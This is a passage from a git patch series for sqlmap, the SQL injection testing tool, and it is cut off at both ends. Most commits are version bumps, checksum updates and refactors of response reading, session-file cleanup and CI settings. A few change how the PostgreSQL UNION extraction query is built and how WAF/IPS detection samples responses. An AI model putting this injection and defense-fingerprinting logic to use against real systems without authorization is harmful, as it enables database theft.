da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 366bca45331..c1ac9fb0341 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.5" +VERSION = "1.10.2.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index b544b56acde..3802b463575 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -278,8 +278,8 @@ def unionUse(expression, unpack=True, dump=False): query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.SQLITE): query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) - elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item - query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) + elif Backend.isDbms(DBMS.PGSQL): + query = expression.replace(expressionFields, "STRING_AGG('%s'||%s||'%s','')" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) elif Backend.isDbms(DBMS.MSSQL): query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) output = _oneShotUnionUse(query, False) From 97851871f5951d744f6933263f04c589f81f3b64 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Feb 2026 09:26:32 +0100 Subject: [PATCH 095/135] Minor optimization --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/connect.py | 17 ++++++++++------- 3 files changed, 13 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f6d87213331..2ed43ebf6de 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c811fffa88aa0deb40e6da2854b8705eec75ef6375a760535c71c21a8cde98f7 lib/core/settings.py +32da56610381544b8cb37cd496cb9492b69a54cc9b7926eae4984be18017c598 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -211,7 +211,7 @@ d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payl a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py -f83140c85be7f572f83c4ab4279fa1d8601243210cdfe4a44b2fc218befbcffd lib/request/connect.py +c7ab9699f30b67fdee3ddafdc215981da21aa6820d8dcd620f5c2ca82ddde2f4 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c1ac9fb0341..f02281725d8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.6" +VERSION = "1.10.2.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ad22bf9575c..934d533fb7f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -227,17 +227,18 @@ def _retryProxy(**kwargs): @staticmethod def _connReadProxy(conn): - retVal = b"" + parts = [] if not kb.dnsMode and conn: headers = conn.info() if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): - retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) - if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: + part = conn.read(MAX_CONNECTION_TOTAL_SIZE) + if len(part) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False raise SqlmapCompressionException + parts.append(part) else: while True: if not conn: @@ -252,18 +253,20 @@ def _connReadProxy(conn): warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) - retVal += part + parts.append(part) else: - retVal += part + parts.append(part) break - if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: + if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) break if conf.yuge: - retVal = YUGE_FACTOR * retVal + parts = YUGE_FACTOR * parts + + retVal = b"".join(parts) return retVal From be07aea5fb17e146b80c358cee1b5ac10a11000b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Feb 2026 10:03:34 +0100 Subject: [PATCH 096/135] Minor patch --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/target.py | 8 ++++++++ 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 2ed43ebf6de..90ba7a774c6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,10 +188,10 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -32da56610381544b8cb37cd496cb9492b69a54cc9b7926eae4984be18017c598 lib/core/settings.py +8e92a397b08d02f257fbc3c1393b3b2322698d3b3c82de7920522c6f3f9e5238 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py -d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py +70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836 lib/core/testing.py b5b65f018d6ef4b1ceeebbc50d372e07d4733267c9f3f4b13062efd065e847b6 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f02281725d8..07ec1304de3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.7" +VERSION = "1.10.2.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 3de535f2600..74d9d7adbbc 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -453,6 +453,14 @@ def _setHashDB(): errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex) raise SqlmapFilePathException(errMsg) + for suffix in ("-shm", "-wal"): + leftover = conf.hashDBFile + suffix + if os.path.exists(leftover): + try: + os.remove(leftover) + except OSError: + pass + conf.hashDB = HashDB(conf.hashDBFile) def _resumeHashDBValues(): From 49ef9d614db11309c8849dbd4c6c131a61421560 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Feb 2026 10:06:34 +0100 Subject: [PATCH 097/135] Releasing the pressure on CI/CD --- .github/workflows/tests.yml | 15 +++++++++++---- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 13 insertions(+), 6 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 25100961dcd..3d8d9ef3dfc 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -9,23 +9,30 @@ jobs: runs-on: ${{ matrix.os }} strategy: matrix: - os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.8', '3.14' ] - exclude: + include: + - os: ubuntu-latest + python-version: "pypy-2.7" - os: macos-latest - python-version: 'pypy-2.7' + python-version: "3.8" + - os: windows-latest + python-version: "3.14" + steps: - name: Checkout code uses: actions/checkout@v4 with: fetch-depth: 1 + - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} + - name: Basic import test run: python -c "import sqlmap; import sqlmapapi" + - name: Smoke test run: python sqlmap.py --smoke + - name: Vuln test run: python sqlmap.py --vuln diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 90ba7a774c6..8999e7dc5dd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -8e92a397b08d02f257fbc3c1393b3b2322698d3b3c82de7920522c6f3f9e5238 lib/core/settings.py +0e067da37caf0003900edd4d0dc63c96090c394f146494032e51d2a3f5cb6174 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 07ec1304de3..9b4b8e18223 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.8" +VERSION = "1.10.2.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f00e8f5b71ac6dec2b3dbe9470e0f8cd038ce8e7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Feb 2026 10:34:08 +0100 Subject: [PATCH 098/135] Minor optimization --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 9 ++++++--- lib/request/basic.py | 7 ++++--- 3 files changed, 12 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8999e7dc5dd..68995044435 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0e067da37caf0003900edd4d0dc63c96090c394f146494032e51d2a3f5cb6174 lib/core/settings.py +2b1e8fed26bc8d137fa39223435bc6f70c95ff057bb14d98b1565452519f8c2e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -208,7 +208,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py 455ab0ec63e55cd56ce4a884b85bdc089223155008cab0f3696da5a33118f95b lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266 lib/request/basic.py +b8ea3a2192014c66a9fe8e122769df974b88a3b2bcc32277814fcec3a1649c7f lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py c7ab9699f30b67fdee3ddafdc215981da21aa6820d8dcd620f5c2ca82ddde2f4 lib/request/connect.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9b4b8e18223..9fd3a502a3c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.9" +VERSION = "1.10.2.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -122,7 +122,10 @@ PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") # Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) -IDENTYWAF_PARSE_LIMIT = 10 +IDENTYWAF_PARSE_COUNT_LIMIT = 10 + +# Identify WAF/IPS inside limited size of responses +IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024 # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 @@ -779,7 +782,7 @@ # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 -# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), identYwaf, htmlParser, etc.) +# Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), htmlParser, etc.) HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024 # Maximum (multi-threaded) length of entry in bisection algorithm diff --git a/lib/request/basic.py b/lib/request/basic.py index 758f993ca61..c18727b22cf 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -43,7 +43,8 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD -from lib.core.settings import IDENTYWAF_PARSE_LIMIT +from lib.core.settings import IDENTYWAF_PARSE_COUNT_LIMIT +from lib.core.settings import IDENTYWAF_PARSE_PAGE_LIMIT from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT @@ -395,8 +396,8 @@ def processResponse(page, responseHeaders, code=None, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) - if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: - rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) + if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_COUNT_LIMIT: + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT]) with kb.locks.identYwaf: identYwaf.non_blind.clear() From 2e6820f98168b94a65198ffac62a7f4c85735322 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Feb 2026 10:49:28 +0100 Subject: [PATCH 099/135] Doing some fine tuning for WAF detection --- data/txt/sha256sums.txt | 8 ++++---- lib/controller/checks.py | 2 ++ lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/request/basic.py | 2 +- 5 files changed, 9 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 68995044435..a134f726eaa 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -161,7 +161,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py -e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py +ced1c82713afc1309c1495485b3d25a11c95af1f7460ea7922dbb96dacac37b4 lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py 56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -181,14 +181,14 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py -c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/option.py +fd1894ed4ba5ba566c89a755c5be90494975361def26c6763da58f4972a37cee lib/core/option.py 9a213f91c8ad468466bd92e5e5805040f904055eb607fb2ed75b4c0e30b8accd lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2b1e8fed26bc8d137fa39223435bc6f70c95ff057bb14d98b1565452519f8c2e lib/core/settings.py +d1261d3367ab5b7d786eb8ce74d004005d0a4694a3b5a5be503c36a1c93e186e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -208,7 +208,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py 455ab0ec63e55cd56ce4a884b85bdc089223155008cab0f3696da5a33118f95b lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -b8ea3a2192014c66a9fe8e122769df974b88a3b2bcc32277814fcec3a1649c7f lib/request/basic.py +1d5972aba14e4e340e3dde4f1d39a671020187fb759f435ba8b7f522dd4498fa lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py c7ab9699f30b67fdee3ddafdc215981da21aa6820d8dcd620f5c2ca82ddde2f4 lib/request/connect.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4fa6d524933..9e9f1f4fd7d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1377,6 +1377,7 @@ def checkWaf(): kb.choices.redirect = REDIRECTION.YES kb.resendPostOnRedirect = False conf.timeout = IPS_WAF_CHECK_TIMEOUT + kb.checkWafMode = True try: retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO @@ -1384,6 +1385,7 @@ def checkWaf(): retVal = True finally: kb.matchRatio = None + kb.checkWafMode = False conf.timeout = popValue() kb.resendPostOnRedirect = popValue() diff --git a/lib/core/option.py b/lib/core/option.py index 75981997f80..ff5921446c6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2086,6 +2086,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + kb.checkWafMode = False kb.choices = AttribDict(keycheck=False) kb.codePage = None kb.commonOutputs = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 9fd3a502a3c..55b6e64df15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.10" +VERSION = "1.10.2.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index c18727b22cf..2817dd09b72 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -397,7 +397,7 @@ def processResponse(page, responseHeaders, code=None, status=None): logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_COUNT_LIMIT: - rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT]) + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:IDENTYWAF_PARSE_PAGE_LIMIT] if not kb.checkWafMode else page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) with kb.locks.identYwaf: identYwaf.non_blind.clear() From 2b6115c70c30ffee04b58f45dd36783bdf45c63b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Feb 2026 12:06:46 +0100 Subject: [PATCH 100/135] Minor optimization of socket preconnect --- data/txt/sha256sums.txt | 4 ++-- lib/core/option.py | 4 +++- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a134f726eaa..418479d2b5a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,14 +181,14 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py -fd1894ed4ba5ba566c89a755c5be90494975361def26c6763da58f4972a37cee lib/core/option.py +8d12a0acbc5e71a40fb19e65af49cd665b10aa313e1b81b336387edf8dd2f14b lib/core/option.py 9a213f91c8ad468466bd92e5e5805040f904055eb607fb2ed75b4c0e30b8accd lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d1261d3367ab5b7d786eb8ce74d004005d0a4694a3b5a5be503c36a1c93e186e lib/core/settings.py +46ff4955bcc1d33301c67788c0aca4194e9d25dc1176cf70ccd7de7a010f400c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index ff5921446c6..78a1f9b4b1b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1057,6 +1057,7 @@ def _setSocketPreConnect(): def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): + done = False try: with kb.locks.socket: keys = list(socket._ready.keys()) @@ -1076,6 +1077,7 @@ def _thread(): if q is not None and len(q) < SOCKET_PRE_CONNECT_QUEUE_SIZE: q.append((s, time.time())) s = None + done = True if s is not None: try: @@ -1088,7 +1090,7 @@ def _thread(): except: pass finally: - time.sleep(0.01) + time.sleep(0.01 if not done else 0.001) def create_connection(*args, **kwargs): retVal = None diff --git a/lib/core/settings.py b/lib/core/settings.py index 55b6e64df15..9d5a65f1bcd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.11" +VERSION = "1.10.2.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if 